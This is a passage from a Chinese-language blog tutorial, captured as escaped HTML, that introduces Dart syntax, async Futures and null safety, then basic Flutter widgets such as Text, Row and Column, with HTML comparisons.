语言介绍\u003c/h2\u003e\n\u003cp\u003eFlutter 使用的是 Dart 语言,目前是 Google 专门为 Flutter 设计的语言,因为我根本没找到任何在其他方面用 Dart 编程的例子。而且这玩意曾经还想嵌入到 Chrome……\u003c/p\u003e\n\u003ch3 id=\"dart--javascript--java\"\u003eDart = Javascript + Java\u003c/h3\u003e\n\u003cp\u003e语法像 Javascript,运行时环境像 Java。\u003c/p\u003e\n\u003cp\u003e像 Javascript 在于存在箭头函数,函数变量之类。Dart 对异步的实现 Future 也借鉴了 JS 的 Promise。因为 Dart 设计的时候,对标的就是 JavaScript。\u003c/p\u003e\n\u003cp\u003e而运行环境像 Java,因为他的类设计,编译和运行也很像 Java。类的方面下面会说明。\u003c/p\u003e\n\u003cp\u003eDart 代码的运行有三种方式:一种是直接解释,一种是转码成 Javascript ,一种是编译成 DartVM 虚拟机机器码,然后在 DartVM 里面运行。最后一种有一种 Java VM 的既视感讲道理:-P\u003c/p\u003e\n\u003cp\u003e上面三种方式对应了 Flutter 的开发:调试开发,网页开发,客户端程序。\u003c/p\u003e\n\u003ch3 id=\"给点例子吧\"\u003e给点例子吧\u003c/h3\u003e\n\u003ch4 id=\"基本\"\u003e基本\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Dart 是强类型语言,但是支持类型推断\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003elineCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 循环,判断和 C 和 JS 一样\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eweLikeToCount\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003elineCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecountLines\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003elineCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elineCount\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"函数\"\u003e函数\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 普通函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003efibonacci\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003efibonacci\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003efibonacci\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 箭头函数(和 JS 的有点区别)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003efib\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003efib\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003efib\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 另一个使用例子 (e) =\u0026gt; print(e))\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003enums\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003enums\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"类\"\u003e类\u003c/h4\u003e\n\u003cp\u003e这玩意东西太多了,我就光码字吧:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e类的成员默认都是公共成员,私有成员是在变量名前加 \u003ccode\u003e_\u003c/code\u003e号,有\u003ccode\u003e@protected\u003c/code\u003e宏。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eDart 的类是单向继承,支持接口类\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e支持 abstract 抽象类,也就是需要继承来实现的类\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"异步方法\"\u003e异步方法\u003c/h4\u003e\n\u003cp\u003e先来个定义\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e异步是在很多领域都有的概念,在编程中,是相对于同步的。同步就是一条指令一条指令,按顺序执行。异步则可以同时运行多个任务,执行任务的时候,可以先返回一个“包含进度的实例”。然后有“回调函数”来把该实例中执行的状态返回。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eDart 的异步叫 \u003ccode\u003eFuture\u0026lt;T\u0026gt;\u003c/code\u003e,其中 T 是泛型啦。当你运行异步方法的时候,他会先返回一个 Future 类,然后按需返回结果,或者处理结果。我们有两个方式处理异步编程:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eseconds:\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eFutur\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eprintWithDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"kd\"\u003easync\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edelayed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e相当于下面这段代码:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eseconds:\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eprintWithDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edelayed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"空安全\"\u003e空安全\u003c/h4\u003e\n\u003cp\u003e在你们使用 C 语言变量的时候,经常出现变量尚未定义就被使用了。Dart 引入了空安全机制,来帮助避免这个现象,让代码更稳定。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 默认所有类型均不可空,类型加问号,表示该变量可空\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 如此写会报编译错误,语言会进行空检查的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 可以使用 late 表示稍后赋值,但你不能忘了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e当然还有很多,想知道的话请去看官方介绍。我当时看了俩下就上手了……\u003c/p\u003e\n\u003ch2 id=\"flutter-的基本部件介绍\"\u003eFlutter 的基本部件介绍\u003c/h2\u003e\n\u003cp\u003eFlutter 的 Widget 是一个一个的类,描述了在当前的配置和状态下视图所应该呈现的样子。在 Flutter 里面,万物都是围绕部件旋转的。\u003c/p\u003e\n\u003cp\u003e接下来我要展示一个信息卡,用这个方式给大家展示 Flutter 的基本组件。顺便我搞点 HTML 之类的东西,来给大家做点对比。接下来的部件,都是按照 Material 部件来说明的,iOS 的不在此说明。\u003c/p\u003e\n\u003ch3 id=\"text-部件\"\u003eText 部件\u003c/h3\u003e\n\u003cp\u003eText 是用来渲染一段文字的。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Maggie Rules!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e效果大致说,跟HTML的这个一样。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003eMaggie Rules!\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eText 的属性有很多,比如说大小,斜体之类。有一个类叫 TextStyle,来给Text加属性,比如字体,阴影,颜色之类。那么,我可以这么写一个绿色的字。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;50 sucks\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nl\"\u003esize:\u003c/span\u003e\u003cspan class=\"m\"\u003e14\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e\u003cspan class=\"n\"\u003eTextStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egreen\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e效果大致说,跟HTML的这个一样。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;color: green\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e 50 sucks \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我感觉通过这个,你们知道这玩意和 HTML+CSS 的对应了吧,也许。\u003c/p\u003e\n\u003ch3 id=\"rowcolumnwarp\"\u003eRow,Column,Warp\u003c/h3\u003e\n\u003cp\u003e你们可以看到,我在这些卡片上画了几条线。这是为了说明我们设计该卡片的基本架构,行和列。Flutter 的部件构造,就是在 Row 和 Column 之上的。\u003c/p\u003e\n\u003cp\u003eRow 和 Column 的写法差不多,都是这样的,更多属性一会再说:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eRow 代表行,Column 